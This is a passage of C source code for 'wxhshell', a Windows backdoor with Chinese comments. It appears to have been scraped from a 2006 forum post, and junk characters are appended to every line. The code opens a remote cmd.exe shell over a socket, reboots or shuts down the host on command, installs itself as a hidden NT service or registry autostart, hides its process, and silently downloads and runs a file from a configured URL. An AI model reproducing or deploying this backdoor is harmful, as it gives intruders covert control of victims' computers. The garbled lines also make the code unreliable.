  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &p|+K XIf  
  else tP/0_^m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K@yLcgr{O2  
  } Yl}'hRp  
  else { Itaq4^CE  
U4`6S43ki  
    switch(cmd[0]) { rD ^ b{]E3  
  R]L$Ld< ij  
  // 帮助 W%Jw\ z=  
  case '?': { 5,Rxc=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o%Ubn*  
    break; "QCtF55X&  
  } E<6Fjy  
  // 安装 i"0]L5=P  
  case 'i': { Ed">$S  
    if(Install()) ob=](  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FO[x c;  
    else (@wgNA-P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EyU5r$G  
    break; I'W`XN  
    } l;F\s&^  
  // 卸载 `p qj~s  
  case 'r': { ~@Yiwp\"  
    if(Uninstall()) +r8:t5:/I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R-%v??  
    else &|6 A 8,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'F-; uN  
    break; v/ $~ifY"  
    } 7S^ba  
  // 显示 wxhshell 所在路径 wg-qq4Q\  
  case 'p': { (^),G-]  
    char svExeFile[MAX_PATH]; .AHf]X0  
    strcpy(svExeFile,"\n\r"); ')G, +d^  
      strcat(svExeFile,ExeFile); b3j?@31AD  
        send(wsh,svExeFile,strlen(svExeFile),0); $qndG,([F  
    break; 04o>POR  
    } K14FY2"  
  // 重启 u?Pec:3%  
  case 'b': { 3:H[S_q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S=f:-?N|  
    if(Boot(REBOOT)) UYLCzv~W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,oin<K  
    else { ,Q%q!#@  
    closesocket(wsh); z?Hi u6c-  
    ExitThread(0); /2s=;tA1  
    } +)J;4B  
    break; 19#s:nt9  
    } 1:Sq?=&  
  // 关机 nr*nX  
  case 'd': { yzH(\ x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )~> C1<  
    if(Boot(SHUTDOWN)) d2~*fHx_!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =qWcw7!"  
    else { :}B=Bk/q  
    closesocket(wsh); +mu.W r  
    ExitThread(0); |XGj97#M  
    } W%&gvZre.  
    break; NUN~T (  
    } 5I`_S Oa!  
  // 获取shell '?gF9:  
  case 's': { Qq7%{`< }  
    CmdShell(wsh); ]?un'$%e  
    closesocket(wsh); >IT19(J;A  
    ExitThread(0); tZL|;K  
    break; s@$SM,tnn  
  } 6x*$/1'M3;  
  // 退出 59R%g .2Y  
  case 'x': { ;:WM^S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uge~*S  
    CloseIt(wsh); yhPO$L  
    break; xGkc_  
    } 6d;_}  
  // 离开 L>3-z>u,  
  case 'q': { #qnK nxD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O-3R#sZ0  
    closesocket(wsh); )i^+=TZq  
    WSACleanup(); Jc=~BT_G  
    exit(1); vB?(|  
    break; v?@=WG  
        } t 3l-]  
  }  8MZ:=  
  } lWyg_YO@  
n1Z*wMwC  
  // 提示信息 ,5XDH6L1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H~1o^ gU  
} &Hj1jM'  
  } oF(=@UL  
\D5_g8m:  
  return; F?c : ).g  
} xoB "hNIX  
dq4t@:\o0  
// shell模块句柄 O>c2*9PM  
int CmdShell(SOCKET sock) SB) Hz8<  
{ -)pVgf  
STARTUPINFO si; G<m6Sf  
ZeroMemory(&si,sizeof(si)); =XhxD<kI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S=zW wo$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qmF+@R&^i  
PROCESS_INFORMATION ProcessInfo; .L=C7w1  
char cmdline[]="cmd"; =7vbcAJ\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p!o+8Xz5  
  return 0; !h.bD/? K  
} CBu$8]9=  
@-%.+  
// 自身启动模式 e_ h`x+\:  
int StartFromService(void) E]&tgZO  
{ #I-qL/Lm  
typedef struct [+3~wpU(p  
{ krSOSW J  
  DWORD ExitStatus; dXMO{*MF{H  
  DWORD PebBaseAddress; "8R\!i.  
  DWORD AffinityMask; knABlU  
  DWORD BasePriority; 5M= S7B3=  
  ULONG UniqueProcessId; &eIwlynm  
  ULONG InheritedFromUniqueProcessId; )J(@e4;Rv  
}   PROCESS_BASIC_INFORMATION; Y![//tg  
3FQXp  
PROCNTQSIP NtQueryInformationProcess; N 6t`45  
A4IPd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @~j- -L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OlcWptM$  
j\%m6\{n|  
  HANDLE             hProcess; =|O><O|  
  PROCESS_BASIC_INFORMATION pbi; "tUc  
" o>` Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7 : .bqRu  
  if(NULL == hInst ) return 0; ,0^9VWZV  
5cZKk/"Ad}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KKGwMJku}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JrJTIUf_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mKZ^FgG  
lj+}5ySG/  
  if (!NtQueryInformationProcess) return 0; E[8i$  
_>/OqYR_jQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?y4vHr"c  
  if(!hProcess) return 0; ^!x}e+ o  
x67,3CLy?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lFc4| _c g  
n1@ Or=5  
  CloseHandle(hProcess); Mw{skK>b  
-z?O^:e#x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _/RP3"#  
if(hProcess==NULL) return 0; e*/ya8p?  
G}0fk]%\:  
HMODULE hMod; A,f%0 eQR  
char procName[255]; qp`G5bw  
unsigned long cbNeeded; .9u,54t  
a4D4*=!G0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }< m@82\  
zE_t(B(Q  
  CloseHandle(hProcess); gLQbA$gB  
P#x]3j]  
if(strstr(procName,"services")) return 1; // 以服务启动 yL%k5cO$N  
}c;h:CE#  
  return 0; // 注册表启动 bl-t>aO*.V  
} ("rIz8b  
~8^)[n+)x  
// 主模块 * ~4m!U_s  
int StartWxhshell(LPSTR lpCmdLine) `^1&Qz>  
{ tX.{+yyU  
  SOCKET wsl;  !#Hca  
BOOL val=TRUE; oQ_n:<3X  
  int port=0; cwKOE?!  
  struct sockaddr_in door; -nKBSls  
J6*B=PX=(  
  if(wscfg.ws_autoins) Install(); Ykt(%2L  
<B =!ZC=n  
port=atoi(lpCmdLine); ey3;rY1  
hXM2B2[  
if(port<=0) port=wscfg.ws_port; MESPfS+  
aShZdeC*f  
  WSADATA data; i4*!t.eI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,O}2LaK.O  
YcJ2Arml  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   js8GK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "K*+8 IO2  
  door.sin_family = AF_INET; WX9pJ9d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ) bPF@'rF2  
  door.sin_port = htons(port); -"Q[n,"Y  
Y'S9   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X>6VucH{\  
closesocket(wsl); 9,;+B8-A  
return 1; M"$TXXe  
} q'p>__Ox  
dwt<s [k  
  if(listen(wsl,2) == INVALID_SOCKET) { V7 dAB,:  
closesocket(wsl); -hP-w>  
return 1; L u?)Rya  
} bU i@4S  
  Wxhshell(wsl); 3kBpH7h4  
  WSACleanup(); Q`X5W  
m%?b"kxL[  
return 0; k<3 _!?3  
*>XY' -;2e  
} #O .-/&Z  
b1{XGK'  
// 以NT服务方式启动 fMFlY%@t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y Yvv;E  
{ sP NAG  
DWORD   status = 0; > AV R3b  
  DWORD   specificError = 0xfffffff; jn;b{*Lf  
]\:FFg_O6t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5bzYTK&-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WsCzC_'j.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^2PQ75V@.  
  serviceStatus.dwWin32ExitCode     = 0; l C|{{?m  
  serviceStatus.dwServiceSpecificExitCode = 0; +/Lf4??JV  
  serviceStatus.dwCheckPoint       = 0; fKY1=3  
  serviceStatus.dwWaitHint       = 0; ~-w  
<#9zc'ED:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /@bLc1"  
  if (hServiceStatusHandle==0) return; 9N'um%J3%s  
y'k4>,`9e  
status = GetLastError(); C4P7,  
  if (status!=NO_ERROR) /fM6%V=Y  
{ jdYv*/^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f-tV8  
    serviceStatus.dwCheckPoint       = 0; 6)eU &5z1?  
    serviceStatus.dwWaitHint       = 0; }PY? ZG  
    serviceStatus.dwWin32ExitCode     = status; aUy=D:\  
    serviceStatus.dwServiceSpecificExitCode = specificError; OQh36BM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r4xq%hy  
    return; B&m?3w  
  } 6YZ&>` a^  
,b@0Qa"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /m;w~ -N  
  serviceStatus.dwCheckPoint       = 0; Vy:ER  
  serviceStatus.dwWaitHint       = 0; NB&u^8b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); | We @p  
} 'g a1SbA]  
IfZaK([  
// 处理NT服务事件,比如:启动、停止 GZc%*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `Vwj|[0k  
{ wz!]]EQ!o  
switch(fdwControl) 4[!&L:tR  
{ x./jTebeO  
case SERVICE_CONTROL_STOP: ma }Y\(38  
  serviceStatus.dwWin32ExitCode = 0; 2/B Flb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #1zWzt|DW  
  serviceStatus.dwCheckPoint   = 0; _+8$=k2nM  
  serviceStatus.dwWaitHint     = 0; }# -N7=h  
  { 9_ Qm_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <][|,9mw  
  } R^F99L  
  return; %;zWS/JhL  
case SERVICE_CONTROL_PAUSE: 7q|(ZZa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M{7EFTy!y  
  break; _pNUI {De  
case SERVICE_CONTROL_CONTINUE: "7 )F";_(^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ryx<^q  
  break; @ec QVk  
case SERVICE_CONTROL_INTERROGATE: r\[HR ^`  
  break; )M]4p6Y  
}; BsB}noN}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Tp n`2F  
} |U^ ff^]  
2uWzcy ?F  
// 标准应用程序主函数 5Kv=;o=U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wrn[q{dX  
{ ?k_=?m  
_'AIXez7q  
// 获取操作系统版本 V_}`2.Pg  
OsIsNt=GetOsVer(); 2.&v{gq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l:HO|Mq  
|<ke>j/6n  
  // 从命令行安装 W{;!JI7;z  
  if(strpbrk(lpCmdLine,"iI")) Install(); r+0)l:{.  
oqDW}>.  
  // 下载执行文件 %e%nsj6  
if(wscfg.ws_downexe) { JZL!(>tI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q{7s.m >  
  WinExec(wscfg.ws_filenam,SW_HIDE); xel&8 `  
} SsznV}{^  
6w}:w?=6  
if(!OsIsNt) { MO#%w  
// 如果时win9x,隐藏进程并且设置为注册表启动 o-O/MS   
HideProc(); XtfL{Fy|T  
StartWxhshell(lpCmdLine); u'K<-U8H  
} >/bl r}5 H  
else lGLZIp  
  if(StartFromService()) RFK N,oB  
  // 以服务方式启动 \\)-[4uC  
  StartServiceCtrlDispatcher(DispatchTable); 5Ll[vBW  
else LwGcy1F.  
  // 普通方式启动 x2ol   
  StartWxhshell(lpCmdLine); RV(}\JU  
+Kq>r|;  
return 0; h'-TZXs0e1  
}
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只看该作者 1 发表于: 2006-10-10
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